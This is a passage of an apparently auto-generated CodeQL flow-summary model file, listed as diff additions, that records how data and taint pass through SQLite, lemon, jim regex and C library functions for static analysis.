"Argument[*0].Field[*mnLookahead]", "value", "dfc-generated"] + - ["", "", True, "acttab_action", "(acttab *,int,int)", "", "Argument[1]", "Argument[*0].Field[*mxLookahead]", "value", "dfc-generated"] + - ["", "", True, "acttab_action", "(acttab *,int,int)", "", "Argument[2]", "Argument[*0].Field[**aLookahead].Field[*action]", "value", "dfc-generated"] + - ["", "", True, "acttab_action", "(acttab *,int,int)", "", "Argument[2]", "Argument[*0].Field[*mnAction]", "value", "dfc-generated"] + - ["", "", True, "acttab_action_size", "(acttab *)", "", "Argument[*0].Field[*nAction]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "acttab_alloc", "(int,int)", "", "Argument[0]", "ReturnValue[*].Field[*nsymbol]", "value", "dfc-generated"] + - ["", "", True, "acttab_alloc", "(int,int)", "", "Argument[1]", "ReturnValue[*].Field[*nterminal]", "value", "dfc-generated"] + - ["", "", True, "acttab_insert", "(acttab *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[1]", "ReturnValue[*].Field[*sz]", "taint", "dfc-generated"] + - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "atof", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atof", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atoi", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atoi", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atol", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atol", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atoll", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "atoll", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[3]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "close_db", "(sqlite3 *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "compute_action", "(lemon *,action *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "confighash", "(config *)", "", "Argument[*0].Field[**rp].Field[*index]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "confighash", "(config *)", "", "Argument[*0].Field[*dot]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "defossilize", "(char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "emit_code", "(FILE *,rule *,lemon *,int *)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "emit_code", "(FILE *,rule *,lemon *,int *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "emit_code", "(FILE *,rule *,lemon *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "emit_destructor_code", "(FILE *,symbol *,lemon *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "feof_unlocked", "(FILE *)", "", "Argument[*0].Field[*_flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ferror_unlocked", "(FILE *)", "", "Argument[*0].Field[*_flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "fgetc_unlocked", "(FILE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[*0].Field[**filename]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[*0].Field[*filename]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**outname]", "value", "dfc-generated"] + - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**outname]", "taint", "dfc-generated"] + - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "fputc_unlocked", "(int,FILE *)", "", "Argument[0]", "Argument[*1].Field[**_IO_write_ptr]", "value", "dfc-generated"] + - ["", "", True, "fread_unlocked", "(void *__restrict__,size_t,size_t,FILE *__restrict__)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "fread_unlocked", "(void *__restrict__,size_t,size_t,FILE *__restrict__)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "getc_unlocked", "(FILE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "getline", "(char **,char **__restrict__,size_t *,size_t *__restrict__,FILE *,FILE *__restrict__)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "getline", "(char **,char **__restrict__,size_t *,size_t *__restrict__,FILE *,FILE *__restrict__)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "getstate", "(lemon *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "has_destructor", "(symbol *,lemon *)", "", "Argument[*1].Field[*tokendest]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "jim_regcomp", "(regex_t *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**regparse]", "value", "dfc-generated"] + - ["", "", True, "jim_regcomp", "(regex_t *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[*regparse]", "value", "dfc-generated"] + - ["", "", True, "jim_regcomp", "(regex_t *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[*cflags]", "value", "dfc-generated"] + - ["", "", True, "jim_regerror", "(int,const regex_t *,char *,size_t)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[*1]", "Argument[*0].Field[**regbol]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[*1]", "Argument[*0].Field[**reginput]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[*1]", "Argument[*0].Field[**start]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[*3]", "Argument[*0].Field[**pmatch]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[2]", "Argument[*0].Field[*nmatch]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[3]", "Argument[*0].Field[*pmatch]", "value", "dfc-generated"] + - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[4]", "Argument[*0].Field[*eflags]", "value", "dfc-generated"] + - ["", "", True, "main", "(int,char **)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "main", "(int,char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "main", "(int,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "main", "(int,char *const[])", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[**1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[**1]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "ReturnValue[**]", "value", "df-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "print_stack_union", "(FILE *,lemon *,int *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "putc_unlocked", "(int,FILE *)", "", "Argument[0]", "Argument[*1].Field[**_IO_write_ptr]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[**4]", "ReturnValue[*].Field[***pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[*1]", "ReturnValue[*].Field[**zDb]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[*2]", "ReturnValue[*].Field[**zUri]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[*4]", "ReturnValue[*].Field[**pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[**zDb].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[**zUri].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[1]", "ReturnValue[*].Field[**zDb]", "taint", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[2]", "ReturnValue[*].Field[**zUri]", "taint", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[3]", "ReturnValue[*].Field[*xSql]", "value", "dfc-generated"] + - ["", "", True, "recoverInit", "(sqlite3 *,const char *,const char *,..(*)(..),void *)", "", "Argument[4]", "ReturnValue[*].Field[*pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "registerUDFs", "(sqlite3 *,sqlite3 *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "registerUDFs", "(sqlite3 *,sqlite3 *)", "", "Argument[1]", "Argument[*1].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "rule_print", "(FILE *,rule *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sha1sum_file", "(const char *,char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sha3sum_file", "(const char *,char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "shellReset", "(int *,sqlite3_stmt *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "snprintf", "(char *__restrict__,size_t,const char *__restrict__,...)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "snprintf", "(char *__restrict__,size_t,const char *__restrict__,...)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sprintf", "(char *__restrict__,const char *__restrict__,...)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sprintf", "(char *__restrict__,const char *__restrict__,...)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3CompletionVtabInit", "(sqlite3 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_aggregate_context", "(sqlite3_context *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_aggregate_context", "(sqlite3_context *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_aggregate_count", "(sqlite3_context *)", "", "Argument[*0].Field[**pMem].Field[*n]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_autovacuum_pages", "(sqlite3 *,..(*)(..),void *,..(*)(..))", "", "Argument[**2]", "Argument[*0].Field[***pAutovacPagesArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_autovacuum_pages", "(sqlite3 *,..(*)(..),void *,..(*)(..))", "", "Argument[*2]", "Argument[*0].Field[**pAutovacPagesArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_autovacuum_pages", "(sqlite3 *,..(*)(..),void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*xAutovacPages]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_autovacuum_pages", "(sqlite3 *,..(*)(..),void *,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*pAutovacPagesArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_autovacuum_pages", "(sqlite3 *,..(*)(..),void *,..(*)(..))", "", "Argument[3]", "Argument[*0].Field[*xAutovacDestr]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_finish", "(sqlite3_backup *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_backup_init", "(sqlite3 *,const char *,sqlite3 *,const char *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_init", "(sqlite3 *,const char *,sqlite3 *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*pDestDb]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_init", "(sqlite3 *,const char *,sqlite3 *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*pSrcDb]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_pagecount", "(sqlite3_backup *)", "", "Argument[*0].Field[*nPagecount]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_remaining", "(sqlite3_backup *)", "", "Argument[*0].Field[*nRemaining]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_backup_step", "(sqlite3_backup *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_base64_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_base85_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_bind_blob64", "(sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_blob", "(sqlite3_stmt *,int,const void *,int,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_double", "(sqlite3_stmt *,int,double)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_int64", "(sqlite3_stmt *,int,sqlite3_int64,sqlite_int64)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_int", "(sqlite3_stmt *,int,int)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_parameter_count", "(sqlite3_stmt *)", "", "Argument[*0].Field[*nVar]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_bind_parameter_index", "(sqlite3_stmt *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_parameter_name", "(sqlite3_stmt *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_parameter_name", "(sqlite3_stmt *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_pointer", "(sqlite3_stmt *,int,void *,const char *,..(*)(..))", "", "Argument[*2]", "Argument[*0].Field[**aVar].Field[**z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_bind_pointer", "(sqlite3_stmt *,int,void *,const char *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_pointer", "(sqlite3_stmt *,int,void *,const char *,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[**aVar].Field[*z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_bind_pointer", "(sqlite3_stmt *,int,void *,const char *,..(*)(..))", "", "Argument[4]", "Argument[*0].Field[**aVar].Field[*xDel]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_bind_text16", "(sqlite3_stmt *,int,const void *,int,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_text64", "(sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_text", "(sqlite3_stmt *,int,const char *,int,..(*)(..))", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_bind_value", "(sqlite3_stmt *,int,const sqlite3_value *)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_zeroblob64", "(sqlite3_stmt *,int,sqlite3_uint64)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_bind_zeroblob", "(sqlite3_stmt *,int,int)", "", "Argument[1]", "Argument[*0].Field[**aVar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_bytes", "(sqlite3_blob *)", "", "Argument[*0].Field[*nByte]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_blob_close", "(sqlite3_blob *)", "", "Argument[*0].Field[**pStmt].Field[*rc]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[*2]", "Argument[**6].Field[**pTab].Field[**zName]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[*3]", "Argument[**6].Field[*iCol]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[*3]", "Argument[**6].Field[*iOffset]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[*3]", "Argument[**6].Field[*nByte]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[2]", "Argument[**6].Field[**pTab].Field[**zName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[3]", "Argument[**6].Field[*iCol]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[3]", "Argument[**6].Field[*iOffset]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_open", "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)", "", "Argument[3]", "Argument[**6].Field[*nByte]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_read", "(sqlite3_blob *,void *,int,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_read", "(sqlite3_blob *,void *,int,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_read", "(sqlite3_blob *,void *,int,int)", "", "Argument[3]", "Argument[*0].Field[**pCsr].Field[**aOverflow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_read", "(sqlite3_blob *,void *,int,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_reopen", "(sqlite3_blob *,sqlite3_int64)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_blob_write", "(sqlite3_blob *,const void *,int,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_write", "(sqlite3_blob *,const void *,int,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_write", "(sqlite3_blob *,const void *,int,int)", "", "Argument[3]", "Argument[*0].Field[**pCsr].Field[**aOverflow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_blob_write", "(sqlite3_blob *,const void *,int,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_busy_handler", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[*busyHandler].Field[***pBusyArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_handler", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[*busyHandler].Field[**pBusyArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_handler", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*busyHandler].Field[*xBusyHandler]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_handler", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*busyHandler].Field[*pBusyArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_timeout", "(sqlite3 *,int)", "", "Argument[*0]", "Argument[*0].Field[*busyHandler].Field[**pBusyArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_timeout", "(sqlite3 *,int)", "", "Argument[0]", "Argument[*0].Field[*busyHandler].Field[*pBusyArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_busy_timeout", "(sqlite3 *,int)", "", "Argument[1]", "Argument[*0].Field[*busyTimeout]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_changes64", "(sqlite3 *)", "", "Argument[*0].Field[*nChange]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_changes", "(sqlite3 *)", "", "Argument[*0].Field[*nChange]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_close", "(sqlite3 *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed16", "(sqlite3 *,void *,..(*)(..))", "", "Argument[**1]", "Argument[*0].Field[***pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed16", "(sqlite3 *,void *,..(*)(..))", "", "Argument[*1]", "Argument[*0].Field[**pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed16", "(sqlite3 *,void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed16", "(sqlite3 *,void *,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*xCollNeeded16]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed", "(sqlite3 *,void *,..(*)(..))", "", "Argument[**1]", "Argument[*0].Field[***pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed", "(sqlite3 *,void *,..(*)(..))", "", "Argument[*1]", "Argument[*0].Field[**pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed", "(sqlite3 *,void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*pCollNeededArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_collation_needed", "(sqlite3 *,void *,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*xCollNeeded]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_column_blob", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_bytes16", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_bytes", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_count", "(sqlite3_stmt *)", "", "Argument[*0].Field[*nResColumn]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_column_decltype16", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**aColName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_decltype", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**aColName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_double", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_int64", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_int", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_name16", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**aColName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_name16", "(sqlite3_stmt *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_name16", "(sqlite3_stmt *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_name", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**aColName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_name", "(sqlite3_stmt *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_text16", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_text", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_type", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[**pResultRow]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_value", "(sqlite3_stmt *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_column_value", "(sqlite3_stmt *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_commit_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pCommitArg]", "value", "dfc-generated"] + - ["", "", True, 